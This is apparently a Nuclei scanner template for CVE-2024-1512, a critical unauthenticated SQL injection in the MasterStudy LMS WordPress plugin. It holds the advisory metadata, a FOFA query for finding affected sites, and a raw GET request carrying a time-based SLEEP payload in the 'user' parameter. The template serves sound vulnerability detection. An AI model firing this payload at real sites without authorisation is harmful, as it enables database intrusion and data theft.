id: CVE-2024-1512

info:
  name: MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: Fixed in 3.2.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1512
    - https://github.com/rat-c/CVE-2024-1512
    - https://blog.csdn.net/m0_60571842/article/details/139901296
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d6b6d824-51d3-4da9-a39a-b957368df4dc?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1512
    epss-score: 0.93913
    epss-percentile: 0.99869
  metadata:
    verified: true
    max-request: 1
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
    fofa-query: body="wp-content/plugins/masterstudy-lms-learning-management-system/"
  tags: time-based-sqli,cve,cve2024,sqli,wp-plugin,wordpress

http:
  - raw:
      - |
        @timeout 10s
        GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%286%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains_all(body,"items","total","total_price")'
          - 'contains(content_type,"application/json")'
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100ecb9a0c8c73879fde7d4241899591c737e4244813696aaf90569c88a900398d1022100ca869c2634559c60e886bc546b32d2525983aca423e7389e2431bfcef4796631:922c64590222798bb761d5b6d8e72950